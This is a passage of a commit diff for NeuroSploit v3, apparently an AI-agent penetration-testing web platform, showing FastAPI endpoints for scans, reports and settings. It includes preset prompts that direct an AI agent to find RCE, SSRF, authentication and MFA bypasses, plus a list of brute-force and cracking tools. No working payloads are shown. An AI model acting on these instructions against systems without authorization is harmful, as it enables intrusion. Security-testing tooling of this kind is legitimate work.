Merge pull request #12 from CyberSecurityUP/v3.0

V3.0
This commit is contained in:
Joas A Santos
2026-01-19 23:03:28 -03:00
committed by GitHub
103 changed files with 30320 additions and 1295 deletions
+27
View File
@@ -0,0 +1,27 @@
# NeuroSploit v3 Environment Variables
# =====================================
# Copy this file to .env and configure your API keys
#
# IMPORTANT: You MUST set at least one LLM API key for the AI agent to work!
#
# =============================================================================
# LLM API Keys (REQUIRED - at least one must be set)
# =============================================================================
# Get your Claude API key at: https://console.anthropic.com/
ANTHROPIC_API_KEY=
# Or use OpenAI as fallback: https://platform.openai.com/api-keys
OPENAI_API_KEY=
# =============================================================================
# Database (default is SQLite - no config needed)
# =============================================================================
DATABASE_URL=sqlite+aiosqlite:///./data/neurosploit.db
# =============================================================================
# Server Configuration
# =============================================================================
HOST=0.0.0.0
PORT=8000
DEBUG=false
+381 -619
View File
File diff suppressed because it is too large Load Diff
+1
View File
@@ -0,0 +1 @@
# API package
+1
View File
@@ -0,0 +1 @@
# API v1 package
File diff suppressed because it is too large Load Diff
+177
View File
@@ -0,0 +1,177 @@
"""
NeuroSploit v3 - Dashboard API Endpoints
"""
from typing import List
from fastapi import APIRouter, Depends
from sqlalchemy.ext.asyncio import AsyncSession
from sqlalchemy import select, func
from datetime import datetime, timedelta
from backend.db.database import get_db
from backend.models import Scan, Vulnerability, Endpoint
router = APIRouter()
@router.get("/stats")
async def get_dashboard_stats(db: AsyncSession = Depends(get_db)):
"""Get overall dashboard statistics"""
# Total scans
total_scans_result = await db.execute(select(func.count()).select_from(Scan))
total_scans = total_scans_result.scalar() or 0
# Running scans
running_result = await db.execute(
select(func.count()).select_from(Scan).where(Scan.status == "running")
)
running_scans = running_result.scalar() or 0
# Completed scans
completed_result = await db.execute(
select(func.count()).select_from(Scan).where(Scan.status == "completed")
)
completed_scans = completed_result.scalar() or 0
# Total vulnerabilities by severity
vuln_counts = {}
for severity in ["critical", "high", "medium", "low", "info"]:
result = await db.execute(
select(func.count()).select_from(Vulnerability).where(Vulnerability.severity == severity)
)
vuln_counts[severity] = result.scalar() or 0
total_vulns = sum(vuln_counts.values())
# Total endpoints
endpoints_result = await db.execute(select(func.count()).select_from(Endpoint))
total_endpoints = endpoints_result.scalar() or 0
# Recent activity (last 7 days)
week_ago = datetime.utcnow() - timedelta(days=7)
recent_scans_result = await db.execute(
select(func.count()).select_from(Scan).where(Scan.created_at >= week_ago)
)
recent_scans = recent_scans_result.scalar() or 0
recent_vulns_result = await db.execute(
select(func.count()).select_from(Vulnerability).where(Vulnerability.created_at >= week_ago)
)
recent_vulns = recent_vulns_result.scalar() or 0
return {
"scans": {
"total": total_scans,
"running": running_scans,
"completed": completed_scans,
"recent": recent_scans
},
"vulnerabilities": {
"total": total_vulns,
"critical": vuln_counts["critical"],
"high": vuln_counts["high"],
"medium": vuln_counts["medium"],
"low": vuln_counts["low"],
"info": vuln_counts["info"],
"recent": recent_vulns
},
"endpoints": {
"total": total_endpoints
}
}
@router.get("/recent")
async def get_recent_activity(
limit: int = 10,
db: AsyncSession = Depends(get_db)
):
"""Get recent scan activity"""
# Recent scans
scans_query = select(Scan).order_by(Scan.created_at.desc()).limit(limit)
scans_result = await db.execute(scans_query)
recent_scans = scans_result.scalars().all()
# Recent vulnerabilities
vulns_query = select(Vulnerability).order_by(Vulnerability.created_at.desc()).limit(limit)
vulns_result = await db.execute(vulns_query)
recent_vulns = vulns_result.scalars().all()
return {
"recent_scans": [s.to_dict() for s in recent_scans],
"recent_vulnerabilities": [v.to_dict() for v in recent_vulns]
}
@router.get("/findings")
async def get_recent_findings(
limit: int = 20,
severity: str = None,
db: AsyncSession = Depends(get_db)
):
"""Get recent vulnerability findings"""
query = select(Vulnerability).order_by(Vulnerability.created_at.desc())
if severity:
query = query.where(Vulnerability.severity == severity)
query = query.limit(limit)
result = await db.execute(query)
vulnerabilities = result.scalars().all()
return {
"findings": [v.to_dict() for v in vulnerabilities],
"total": len(vulnerabilities)
}
@router.get("/vulnerability-types")
async def get_vulnerability_distribution(db: AsyncSession = Depends(get_db)):
"""Get vulnerability distribution by type"""
query = select(
Vulnerability.vulnerability_type,
func.count(Vulnerability.id).label("count")
).group_by(Vulnerability.vulnerability_type)
result = await db.execute(query)
distribution = result.all()
return {
"distribution": [
{"type": row[0], "count": row[1]}
for row in distribution
]
}
@router.get("/scan-history")
async def get_scan_history(
days: int = 30,
db: AsyncSession = Depends(get_db)
):
"""Get scan history for charts"""
start_date = datetime.utcnow() - timedelta(days=days)
# Get scans grouped by date
scans = await db.execute(
select(Scan).where(Scan.created_at >= start_date).order_by(Scan.created_at)
)
all_scans = scans.scalars().all()
# Group by date
history = {}
for scan in all_scans:
date_str = scan.created_at.strftime("%Y-%m-%d")
if date_str not in history:
history[date_str] = {
"date": date_str,
"scans": 0,
"vulnerabilities": 0,
"critical": 0,
"high": 0
}
history[date_str]["scans"] += 1
history[date_str]["vulnerabilities"] += scan.total_vulnerabilities
history[date_str]["critical"] += scan.critical_count
history[date_str]["high"] += scan.high_count
return {"history": list(history.values())}
+372
View File
@@ -0,0 +1,372 @@
"""
NeuroSploit v3 - Prompts API Endpoints
"""
from typing import List, Optional
from fastapi import APIRouter, Depends, HTTPException, UploadFile, File
from sqlalchemy.ext.asyncio import AsyncSession
from sqlalchemy import select
from backend.db.database import get_db
from backend.models import Prompt
from backend.schemas.prompt import (
PromptCreate, PromptUpdate, PromptResponse, PromptParse, PromptParseResult, PromptPreset
)
from backend.core.prompt_engine.parser import PromptParser
router = APIRouter()
# Preset prompts
PRESET_PROMPTS = [
{
"id": "full_pentest",
"name": "Full Penetration Test",
"description": "Comprehensive security assessment covering all vulnerability categories",
"category": "pentest",
"content": """Perform a comprehensive penetration test on the target application.
Test for ALL vulnerability categories:
- Injection vulnerabilities (XSS, SQL Injection, Command Injection, LDAP, XPath, Template Injection)
- Authentication flaws (Broken auth, session management, JWT issues, OAuth flaws)
- Authorization issues (IDOR, BOLA, privilege escalation, access control bypass)
- File handling vulnerabilities (LFI, RFI, path traversal, file upload, XXE)
- Request forgery (SSRF, CSRF)
- API security issues (rate limiting, mass assignment, excessive data exposure)
- Client-side vulnerabilities (CORS misconfig, clickjacking, open redirect)
- Information disclosure (error messages, stack traces, sensitive data exposure)
- Infrastructure issues (security headers, SSL/TLS, HTTP methods)
- Business logic flaws (race conditions, workflow bypass)
Use thorough testing with multiple payloads and bypass techniques.
Generate detailed PoC for each vulnerability found.
Provide remediation recommendations."""
},
{
"id": "owasp_top10",
"name": "OWASP Top 10",
"description": "Test for OWASP Top 10 2021 vulnerabilities",
"category": "compliance",
"content": """Test for OWASP Top 10 2021 vulnerabilities:
A01:2021 - Broken Access Control
- IDOR, privilege escalation, access control bypass, CORS misconfig
A02:2021 - Cryptographic Failures
- Sensitive data exposure, weak encryption, cleartext transmission
A03:2021 - Injection
- SQL injection, XSS, command injection, LDAP injection
A04:2021 - Insecure Design
- Business logic flaws, missing security controls
A05:2021 - Security Misconfiguration
- Default configs, unnecessary features, missing headers
A06:2021 - Vulnerable Components
- Outdated libraries, known CVEs
A07:2021 - Identification and Authentication Failures
- Weak passwords, session fixation, credential stuffing
A08:2021 - Software and Data Integrity Failures
- Insecure deserialization, CI/CD vulnerabilities
A09:2021 - Security Logging and Monitoring Failures
- Missing audit logs, insufficient monitoring
A10:2021 - Server-Side Request Forgery (SSRF)
- Internal network access, cloud metadata exposure"""
},
{
"id": "api_security",
"name": "API Security Testing",
"description": "Focused testing for REST and GraphQL APIs",
"category": "api",
"content": """Perform API security testing:
Authentication & Authorization:
- Test JWT implementation (algorithm confusion, signature bypass, claim manipulation)
- OAuth/OIDC flow testing
- API key exposure and validation
- Rate limiting bypass
- BOLA/IDOR on all endpoints
Input Validation:
- SQL injection on API parameters
- NoSQL injection
- Command injection
- Parameter pollution
- Mass assignment vulnerabilities
Data Exposure:
- Excessive data exposure in responses
- Sensitive data in error messages
- Information disclosure in headers
- Debug endpoints exposure
GraphQL Specific (if applicable):
- Introspection enabled
- Query depth attacks
- Batching attacks
- Field suggestion exploitation
API Abuse:
- Rate limiting effectiveness
- Resource exhaustion
- Denial of service vectors"""
},
{
"id": "bug_bounty",
"name": "Bug Bounty Hunter",
"description": "Focus on high-impact, bounty-worthy vulnerabilities",
"category": "bug_bounty",
"content": """Hunt for high-impact vulnerabilities suitable for bug bounty:
Priority 1 - Critical Impact:
- Remote Code Execution (RCE)
- SQL Injection leading to data breach
- Authentication bypass
- SSRF to internal services/cloud metadata
- Privilege escalation to admin
Priority 2 - High Impact:
- Stored XSS
- IDOR on sensitive resources
- Account takeover vectors
- Payment/billing manipulation
- PII exposure
Priority 3 - Medium Impact:
- Reflected XSS
- CSRF on sensitive actions
- Information disclosure
- Rate limiting bypass
- Open redirects (if exploitable)
Look for:
- Unique attack chains
- Business logic flaws
- Edge cases and race conditions
- Bypass techniques for existing security controls
Document with clear PoC and impact assessment."""
},
{
"id": "quick_scan",
"name": "Quick Security Scan",
"description": "Fast scan for common vulnerabilities",
"category": "quick",
"content": """Perform a quick security scan for common vulnerabilities:
- Reflected XSS on input parameters
- Basic SQL injection testing
- Directory traversal/LFI
- Security headers check
- SSL/TLS configuration
- Common misconfigurations
- Information disclosure
Use minimal payloads for speed.
Focus on quick wins and obvious issues."""
},
{
"id": "auth_testing",
"name": "Authentication Testing",
"description": "Focus on authentication and session management",
"category": "auth",
"content": """Test authentication and session management:
Login Functionality:
- Username enumeration
- Password brute force protection
- Account lockout bypass
- Credential stuffing protection
- SQL injection in login
Session Management:
- Session token entropy
- Session fixation
- Session timeout
- Cookie security flags (HttpOnly, Secure, SameSite)
- Session invalidation on logout
Password Reset:
- Token predictability
- Token expiration
- Account enumeration
- Host header injection
Multi-Factor Authentication:
- MFA bypass techniques
- Backup codes weakness
- Rate limiting on OTP
OAuth/SSO:
- State parameter validation
- Redirect URI manipulation
- Token leakage"""
}
]
@router.get("/presets", response_model=List[PromptPreset])
async def get_preset_prompts():
"""Get list of preset prompts"""
return [
PromptPreset(
id=p["id"],
name=p["name"],
description=p["description"],
category=p["category"],
vulnerability_count=len(p["content"].split("\n"))
)
for p in PRESET_PROMPTS
]
@router.get("/presets/{preset_id}")
async def get_preset_prompt(preset_id: str):
"""Get a specific preset prompt by ID"""
for preset in PRESET_PROMPTS:
if preset["id"] == preset_id:
return preset
raise HTTPException(status_code=404, detail="Preset not found")
@router.post("/parse", response_model=PromptParseResult)
async def parse_prompt(prompt_data: PromptParse):
"""Parse a prompt to extract vulnerability types and testing scope"""
parser = PromptParser()
result = await parser.parse(prompt_data.content)
return result
@router.get("", response_model=List[PromptResponse])
async def list_prompts(
category: Optional[str] = None,
db: AsyncSession = Depends(get_db)
):
"""List all custom prompts"""
query = select(Prompt).where(Prompt.is_preset == False)
if category:
query = query.where(Prompt.category == category)
query = query.order_by(Prompt.created_at.desc())
result = await db.execute(query)
prompts = result.scalars().all()
return [PromptResponse(**p.to_dict()) for p in prompts]
@router.post("", response_model=PromptResponse)
async def create_prompt(prompt_data: PromptCreate, db: AsyncSession = Depends(get_db)):
"""Create a custom prompt"""
# Parse vulnerabilities from content
parser = PromptParser()
parsed = await parser.parse(prompt_data.content)
prompt = Prompt(
name=prompt_data.name,
description=prompt_data.description,
content=prompt_data.content,
category=prompt_data.category,
is_preset=False,
parsed_vulnerabilities=[v.dict() for v in parsed.vulnerabilities_to_test]
)
db.add(prompt)
await db.commit()
await db.refresh(prompt)
return PromptResponse(**prompt.to_dict())
@router.get("/{prompt_id}", response_model=PromptResponse)
async def get_prompt(prompt_id: str, db: AsyncSession = Depends(get_db)):
"""Get a prompt by ID"""
result = await db.execute(select(Prompt).where(Prompt.id == prompt_id))
prompt = result.scalar_one_or_none()
if not prompt:
raise HTTPException(status_code=404, detail="Prompt not found")
return PromptResponse(**prompt.to_dict())
@router.put("/{prompt_id}", response_model=PromptResponse)
async def update_prompt(
prompt_id: str,
prompt_data: PromptUpdate,
db: AsyncSession = Depends(get_db)
):
"""Update a prompt"""
result = await db.execute(select(Prompt).where(Prompt.id == prompt_id))
prompt = result.scalar_one_or_none()
if not prompt:
raise HTTPException(status_code=404, detail="Prompt not found")
if prompt.is_preset:
raise HTTPException(status_code=400, detail="Cannot modify preset prompts")
if prompt_data.name is not None:
prompt.name = prompt_data.name
if prompt_data.description is not None:
prompt.description = prompt_data.description
if prompt_data.content is not None:
prompt.content = prompt_data.content
# Re-parse vulnerabilities
parser = PromptParser()
parsed = await parser.parse(prompt_data.content)
prompt.parsed_vulnerabilities = [v.dict() for v in parsed.vulnerabilities_to_test]
if prompt_data.category is not None:
prompt.category = prompt_data.category
await db.commit()
await db.refresh(prompt)
return PromptResponse(**prompt.to_dict())
@router.delete("/{prompt_id}")
async def delete_prompt(prompt_id: str, db: AsyncSession = Depends(get_db)):
"""Delete a prompt"""
result = await db.execute(select(Prompt).where(Prompt.id == prompt_id))
prompt = result.scalar_one_or_none()
if not prompt:
raise HTTPException(status_code=404, detail="Prompt not found")
if prompt.is_preset:
raise HTTPException(status_code=400, detail="Cannot delete preset prompts")
await db.delete(prompt)
await db.commit()
return {"message": "Prompt deleted"}
@router.post("/upload")
async def upload_prompt(file: UploadFile = File(...)):
"""Upload a prompt file (.md or .txt)"""
if not file.filename:
raise HTTPException(status_code=400, detail="No file provided")
ext = "." + file.filename.split(".")[-1].lower() if "." in file.filename else ""
if ext not in {".md", ".txt"}:
raise HTTPException(status_code=400, detail="Invalid file type. Use .md or .txt")
content = await file.read()
try:
text = content.decode("utf-8")
except UnicodeDecodeError:
raise HTTPException(status_code=400, detail="Unable to decode file")
# Parse the prompt
parser = PromptParser()
parsed = await parser.parse(text)
return {
"filename": file.filename,
"content": text,
"parsed": parsed.dict()
}
+200
View File
@@ -0,0 +1,200 @@
"""
NeuroSploit v3 - Reports API Endpoints
"""
from typing import List, Optional
from fastapi import APIRouter, Depends, HTTPException
from fastapi.responses import FileResponse, HTMLResponse
from sqlalchemy.ext.asyncio import AsyncSession
from sqlalchemy import select
from pathlib import Path
from backend.db.database import get_db
from backend.models import Scan, Report, Vulnerability
from backend.schemas.report import ReportGenerate, ReportResponse, ReportListResponse
from backend.core.report_engine.generator import ReportGenerator
from backend.config import settings
router = APIRouter()
@router.get("", response_model=ReportListResponse)
async def list_reports(
scan_id: Optional[str] = None,
db: AsyncSession = Depends(get_db)
):
"""List all reports"""
query = select(Report).order_by(Report.generated_at.desc())
if scan_id:
query = query.where(Report.scan_id == scan_id)
result = await db.execute(query)
reports = result.scalars().all()
return ReportListResponse(
reports=[ReportResponse(**r.to_dict()) for r in reports],
total=len(reports)
)
@router.post("", response_model=ReportResponse)
async def generate_report(
report_data: ReportGenerate,
db: AsyncSession = Depends(get_db)
):
"""Generate a new report for a scan"""
# Get scan
scan_result = await db.execute(select(Scan).where(Scan.id == report_data.scan_id))
scan = scan_result.scalar_one_or_none()
if not scan:
raise HTTPException(status_code=404, detail="Scan not found")
# Get vulnerabilities
vulns_result = await db.execute(
select(Vulnerability).where(Vulnerability.scan_id == report_data.scan_id)
)
vulnerabilities = vulns_result.scalars().all()
# Generate report
generator = ReportGenerator()
report_path, executive_summary = await generator.generate(
scan=scan,
vulnerabilities=vulnerabilities,
format=report_data.format,
title=report_data.title,
include_executive_summary=report_data.include_executive_summary,
include_poc=report_data.include_poc,
include_remediation=report_data.include_remediation
)
# Save report record
report = Report(
scan_id=scan.id,
title=report_data.title or f"Report - {scan.name}",
format=report_data.format,
file_path=str(report_path),
executive_summary=executive_summary
)
db.add(report)
await db.commit()
await db.refresh(report)
return ReportResponse(**report.to_dict())
@router.get("/{report_id}", response_model=ReportResponse)
async def get_report(report_id: str, db: AsyncSession = Depends(get_db)):
"""Get report details"""
result = await db.execute(select(Report).where(Report.id == report_id))
report = result.scalar_one_or_none()
if not report:
raise HTTPException(status_code=404, detail="Report not found")
return ReportResponse(**report.to_dict())
@router.get("/{report_id}/view")
async def view_report(report_id: str, db: AsyncSession = Depends(get_db)):
"""View report in browser (HTML)"""
result = await db.execute(select(Report).where(Report.id == report_id))
report = result.scalar_one_or_none()
if not report:
raise HTTPException(status_code=404, detail="Report not found")
if not report.file_path:
raise HTTPException(status_code=404, detail="Report file not found")
file_path = Path(report.file_path)
if not file_path.exists():
raise HTTPException(status_code=404, detail="Report file not found on disk")
if report.format == "html":
content = file_path.read_text()
return HTMLResponse(content=content)
else:
return FileResponse(
path=str(file_path),
media_type="application/octet-stream",
filename=file_path.name
)
@router.get("/{report_id}/download/{format}")
async def download_report(
report_id: str,
format: str,
db: AsyncSession = Depends(get_db)
):
"""Download report in specified format"""
result = await db.execute(select(Report).where(Report.id == report_id))
report = result.scalar_one_or_none()
if not report:
raise HTTPException(status_code=404, detail="Report not found")
# Get scan and vulnerabilities for generating report
scan_result = await db.execute(select(Scan).where(Scan.id == report.scan_id))
scan = scan_result.scalar_one_or_none()
if not scan:
raise HTTPException(status_code=404, detail="Scan not found for report")
vulns_result = await db.execute(
select(Vulnerability).where(Vulnerability.scan_id == report.scan_id)
)
vulnerabilities = vulns_result.scalars().all()
# Always generate fresh report file (handles auto-generated reports without file_path)
generator = ReportGenerator()
report_path, _ = await generator.generate(
scan=scan,
vulnerabilities=vulnerabilities,
format=format,
title=report.title
)
file_path = Path(report_path)
# Update report with file path if not set
if not report.file_path:
report.file_path = str(file_path)
report.format = format
await db.commit()
if not file_path.exists():
raise HTTPException(status_code=404, detail="Report file not found")
media_types = {
"html": "text/html",
"pdf": "application/pdf",
"json": "application/json"
}
return FileResponse(
path=str(file_path),
media_type=media_types.get(format, "application/octet-stream"),
filename=file_path.name
)
@router.delete("/{report_id}")
async def delete_report(report_id: str, db: AsyncSession = Depends(get_db)):
"""Delete a report"""
result = await db.execute(select(Report).where(Report.id == report_id))
report = result.scalar_one_or_none()
if not report:
raise HTTPException(status_code=404, detail="Report not found")
# Delete file if exists
if report.file_path:
file_path = Path(report.file_path)
if file_path.exists():
file_path.unlink()
await db.delete(report)
await db.commit()
return {"message": "Report deleted"}
+304
View File
@@ -0,0 +1,304 @@
"""
NeuroSploit v3 - Scans API Endpoints
"""
from typing import List, Optional
from datetime import datetime
from fastapi import APIRouter, Depends, HTTPException, BackgroundTasks
from sqlalchemy.ext.asyncio import AsyncSession
from sqlalchemy import select, func
from urllib.parse import urlparse
from backend.db.database import get_db
from backend.models import Scan, Target, Endpoint, Vulnerability
from backend.schemas.scan import ScanCreate, ScanUpdate, ScanResponse, ScanListResponse, ScanProgress
from backend.services.scan_service import run_scan_task
router = APIRouter()
@router.get("", response_model=ScanListResponse)
async def list_scans(
page: int = 1,
per_page: int = 10,
status: Optional[str] = None,
db: AsyncSession = Depends(get_db)
):
"""List all scans with pagination"""
query = select(Scan).order_by(Scan.created_at.desc())
if status:
query = query.where(Scan.status == status)
# Get total count
count_query = select(func.count()).select_from(Scan)
if status:
count_query = count_query.where(Scan.status == status)
total_result = await db.execute(count_query)
total = total_result.scalar()
# Apply pagination
query = query.offset((page - 1) * per_page).limit(per_page)
result = await db.execute(query)
scans = result.scalars().all()
# Load targets for each scan
scan_responses = []
for scan in scans:
targets_query = select(Target).where(Target.scan_id == scan.id)
targets_result = await db.execute(targets_query)
targets = targets_result.scalars().all()
scan_dict = scan.to_dict()
scan_dict["targets"] = [t.to_dict() for t in targets]
scan_responses.append(ScanResponse(**scan_dict))
return ScanListResponse(
scans=scan_responses,
total=total,
page=page,
per_page=per_page
)
@router.post("", response_model=ScanResponse)
async def create_scan(
scan_data: ScanCreate,
background_tasks: BackgroundTasks,
db: AsyncSession = Depends(get_db)
):
"""Create a new scan with optional authentication for authenticated testing"""
# Process authentication config
auth_type = None
auth_credentials = None
if scan_data.auth:
auth_type = scan_data.auth.auth_type
auth_credentials = {}
if scan_data.auth.cookie:
auth_credentials["cookie"] = scan_data.auth.cookie
if scan_data.auth.bearer_token:
auth_credentials["bearer_token"] = scan_data.auth.bearer_token
if scan_data.auth.username:
auth_credentials["username"] = scan_data.auth.username
if scan_data.auth.password:
auth_credentials["password"] = scan_data.auth.password
if scan_data.auth.header_name and scan_data.auth.header_value:
auth_credentials["header_name"] = scan_data.auth.header_name
auth_credentials["header_value"] = scan_data.auth.header_value
# Create scan
scan = Scan(
name=scan_data.name or f"Scan {datetime.now().strftime('%Y-%m-%d %H:%M')}",
scan_type=scan_data.scan_type,
recon_enabled=scan_data.recon_enabled,
custom_prompt=scan_data.custom_prompt,
prompt_id=scan_data.prompt_id,
config=scan_data.config,
auth_type=auth_type,
auth_credentials=auth_credentials,
custom_headers=scan_data.custom_headers,
status="pending"
)
db.add(scan)
await db.flush()
# Create targets
targets = []
for url in scan_data.targets:
parsed = urlparse(url)
target = Target(
scan_id=scan.id,
url=url,
hostname=parsed.hostname,
port=parsed.port or (443 if parsed.scheme == "https" else 80),
protocol=parsed.scheme or "https",
path=parsed.path or "/"
)
db.add(target)
targets.append(target)
await db.commit()
await db.refresh(scan)
scan_dict = scan.to_dict()
scan_dict["targets"] = [t.to_dict() for t in targets]
return ScanResponse(**scan_dict)
@router.get("/{scan_id}", response_model=ScanResponse)
async def get_scan(scan_id: str, db: AsyncSession = Depends(get_db)):
"""Get scan details by ID"""
result = await db.execute(select(Scan).where(Scan.id == scan_id))
scan = result.scalar_one_or_none()
if not scan:
raise HTTPException(status_code=404, detail="Scan not found")
# Load targets
targets_result = await db.execute(select(Target).where(Target.scan_id == scan_id))
targets = targets_result.scalars().all()
scan_dict = scan.to_dict()
scan_dict["targets"] = [t.to_dict() for t in targets]
return ScanResponse(**scan_dict)
@router.post("/{scan_id}/start")
async def start_scan(
scan_id: str,
background_tasks: BackgroundTasks,
db: AsyncSession = Depends(get_db)
):
"""Start a scan execution"""
result = await db.execute(select(Scan).where(Scan.id == scan_id))
scan = result.scalar_one_or_none()
if not scan:
raise HTTPException(status_code=404, detail="Scan not found")
if scan.status == "running":
raise HTTPException(status_code=400, detail="Scan is already running")
# Update scan status
scan.status = "running"
scan.started_at = datetime.utcnow()
scan.current_phase = "initializing"
scan.progress = 0
await db.commit()
# Start scan in background with its own database session
background_tasks.add_task(run_scan_task, scan_id)
return {"message": "Scan started", "scan_id": scan_id}
@router.post("/{scan_id}/stop")
async def stop_scan(scan_id: str, db: AsyncSession = Depends(get_db)):
"""Stop a running scan"""
result = await db.execute(select(Scan).where(Scan.id == scan_id))
scan = result.scalar_one_or_none()
if not scan:
raise HTTPException(status_code=404, detail="Scan not found")
if scan.status != "running":
raise HTTPException(status_code=400, detail="Scan is not running")
scan.status = "stopped"
scan.completed_at = datetime.utcnow()
await db.commit()
return {"message": "Scan stopped", "scan_id": scan_id}
@router.get("/{scan_id}/status", response_model=ScanProgress)
async def get_scan_status(scan_id: str, db: AsyncSession = Depends(get_db)):
"""Get scan progress and status"""
result = await db.execute(select(Scan).where(Scan.id == scan_id))
scan = result.scalar_one_or_none()
if not scan:
raise HTTPException(status_code=404, detail="Scan not found")
return ScanProgress(
scan_id=scan.id,
status=scan.status,
progress=scan.progress,
current_phase=scan.current_phase,
total_endpoints=scan.total_endpoints,
total_vulnerabilities=scan.total_vulnerabilities
)
@router.delete("/{scan_id}")
async def delete_scan(scan_id: str, db: AsyncSession = Depends(get_db)):
"""Delete a scan"""
result = await db.execute(select(Scan).where(Scan.id == scan_id))
scan = result.scalar_one_or_none()
if not scan:
raise HTTPException(status_code=404, detail="Scan not found")
if scan.status == "running":
raise HTTPException(status_code=400, detail="Cannot delete running scan")
await db.delete(scan)
await db.commit()
return {"message": "Scan deleted", "scan_id": scan_id}
@router.get("/{scan_id}/endpoints")
async def get_scan_endpoints(
scan_id: str,
page: int = 1,
per_page: int = 50,
db: AsyncSession = Depends(get_db)
):
"""Get endpoints discovered in a scan"""
result = await db.execute(select(Scan).where(Scan.id == scan_id))
scan = result.scalar_one_or_none()
if not scan:
raise HTTPException(status_code=404, detail="Scan not found")
query = select(Endpoint).where(Endpoint.scan_id == scan_id).order_by(Endpoint.discovered_at.desc())
# Count
count_result = await db.execute(select(func.count()).select_from(Endpoint).where(Endpoint.scan_id == scan_id))
total = count_result.scalar()
# Paginate
query = query.offset((page - 1) * per_page).limit(per_page)
result = await db.execute(query)
endpoints = result.scalars().all()
return {
"endpoints": [e.to_dict() for e in endpoints],
"total": total,
"page": page,
"per_page": per_page
}
@router.get("/{scan_id}/vulnerabilities")
async def get_scan_vulnerabilities(
scan_id: str,
severity: Optional[str] = None,
page: int = 1,
per_page: int = 50,
db: AsyncSession = Depends(get_db)
):
"""Get vulnerabilities found in a scan"""
result = await db.execute(select(Scan).where(Scan.id == scan_id))
scan = result.scalar_one_or_none()
if not scan:
raise HTTPException(status_code=404, detail="Scan not found")
query = select(Vulnerability).where(Vulnerability.scan_id == scan_id)
if severity:
query = query.where(Vulnerability.severity == severity)
query = query.order_by(Vulnerability.created_at.desc())
# Count
count_query = select(func.count()).select_from(Vulnerability).where(Vulnerability.scan_id == scan_id)
if severity:
count_query = count_query.where(Vulnerability.severity == severity)
count_result = await db.execute(count_query)
total = count_result.scalar()
# Paginate
query = query.offset((page - 1) * per_page).limit(per_page)
result = await db.execute(query)
vulnerabilities = result.scalars().all()
return {
"vulnerabilities": [v.to_dict() for v in vulnerabilities],
"total": total,
"page": page,
"per_page": per_page
}
+199
View File
@@ -0,0 +1,199 @@
"""
NeuroSploit v3 - Settings API Endpoints
"""
from typing import Optional
from fastapi import APIRouter, Depends, HTTPException
from sqlalchemy.ext.asyncio import AsyncSession
from sqlalchemy import select, delete, text
from pydantic import BaseModel
from backend.db.database import get_db, engine
from backend.models import Scan, Target, Endpoint, Vulnerability, VulnerabilityTest, Report
router = APIRouter()
class SettingsUpdate(BaseModel):
"""Settings update schema"""
llm_provider: Optional[str] = None
anthropic_api_key: Optional[str] = None
openai_api_key: Optional[str] = None
max_concurrent_scans: Optional[int] = None
aggressive_mode: Optional[bool] = None
default_scan_type: Optional[str] = None
recon_enabled_by_default: Optional[bool] = None
class SettingsResponse(BaseModel):
"""Settings response schema"""
llm_provider: str = "claude"
has_anthropic_key: bool = False
has_openai_key: bool = False
max_concurrent_scans: int = 3
aggressive_mode: bool = False
default_scan_type: str = "full"
recon_enabled_by_default: bool = True
# In-memory settings storage (in production, use database or config file)
_settings = {
"llm_provider": "claude",
"anthropic_api_key": "",
"openai_api_key": "",
"max_concurrent_scans": 3,
"aggressive_mode": False,
"default_scan_type": "full",
"recon_enabled_by_default": True
}
@router.get("", response_model=SettingsResponse)
async def get_settings():
"""Get current settings"""
return SettingsResponse(
llm_provider=_settings["llm_provider"],
has_anthropic_key=bool(_settings["anthropic_api_key"]),
has_openai_key=bool(_settings["openai_api_key"]),
max_concurrent_scans=_settings["max_concurrent_scans"],
aggressive_mode=_settings["aggressive_mode"],
default_scan_type=_settings["default_scan_type"],
recon_enabled_by_default=_settings["recon_enabled_by_default"]
)
@router.put("", response_model=SettingsResponse)
async def update_settings(settings_data: SettingsUpdate):
"""Update settings"""
if settings_data.llm_provider is not None:
_settings["llm_provider"] = settings_data.llm_provider
if settings_data.anthropic_api_key is not None:
_settings["anthropic_api_key"] = settings_data.anthropic_api_key
# Also update environment variable for LLM calls
import os
if settings_data.anthropic_api_key:
os.environ["ANTHROPIC_API_KEY"] = settings_data.anthropic_api_key
if settings_data.openai_api_key is not None:
_settings["openai_api_key"] = settings_data.openai_api_key
import os
if settings_data.openai_api_key:
os.environ["OPENAI_API_KEY"] = settings_data.openai_api_key
if settings_data.max_concurrent_scans is not None:
_settings["max_concurrent_scans"] = settings_data.max_concurrent_scans
if settings_data.aggressive_mode is not None:
_settings["aggressive_mode"] = settings_data.aggressive_mode
if settings_data.default_scan_type is not None:
_settings["default_scan_type"] = settings_data.default_scan_type
if settings_data.recon_enabled_by_default is not None:
_settings["recon_enabled_by_default"] = settings_data.recon_enabled_by_default
return await get_settings()
@router.post("/clear-database")
async def clear_database(db: AsyncSession = Depends(get_db)):
"""Clear all data from the database (reset to fresh state)"""
try:
# Delete in correct order to respect foreign key constraints
await db.execute(delete(VulnerabilityTest))
await db.execute(delete(Vulnerability))
await db.execute(delete(Endpoint))
await db.execute(delete(Report))
await db.execute(delete(Target))
await db.execute(delete(Scan))
await db.commit()
return {
"message": "Database cleared successfully",
"status": "success"
}
except Exception as e:
await db.rollback()
raise HTTPException(status_code=500, detail=f"Failed to clear database: {str(e)}")
@router.get("/stats")
async def get_database_stats(db: AsyncSession = Depends(get_db)):
"""Get database statistics"""
from sqlalchemy import func
scans_count = (await db.execute(select(func.count()).select_from(Scan))).scalar() or 0
vulns_count = (await db.execute(select(func.count()).select_from(Vulnerability))).scalar() or 0
endpoints_count = (await db.execute(select(func.count()).select_from(Endpoint))).scalar() or 0
reports_count = (await db.execute(select(func.count()).select_from(Report))).scalar() or 0
return {
"scans": scans_count,
"vulnerabilities": vulns_count,
"endpoints": endpoints_count,
"reports": reports_count
}
@router.get("/tools")
async def get_installed_tools():
"""Check which security tools are installed"""
import asyncio
import shutil
# Complete list of 40+ tools
tools = {
"recon": [
"subfinder", "amass", "assetfinder", "chaos", "uncover",
"dnsx", "massdns", "puredns", "cero", "tlsx", "cdncheck"
],
"web_discovery": [
"httpx", "httprobe", "katana", "gospider", "hakrawler",
"gau", "waybackurls", "cariddi", "getJS", "gowitness"
],
"fuzzing": [
"ffuf", "gobuster", "dirb", "dirsearch", "wfuzz", "arjun", "paramspider"
],
"vulnerability_scanning": [
"nuclei", "nikto", "sqlmap", "xsstrike", "dalfox", "crlfuzz"
],
"port_scanning": [
"nmap", "naabu", "rustscan"
],
"utilities": [
"gf", "qsreplace", "unfurl", "anew", "uro", "jq"
],
"tech_detection": [
"whatweb", "wafw00f"
],
"exploitation": [
"hydra", "medusa", "john", "hashcat"
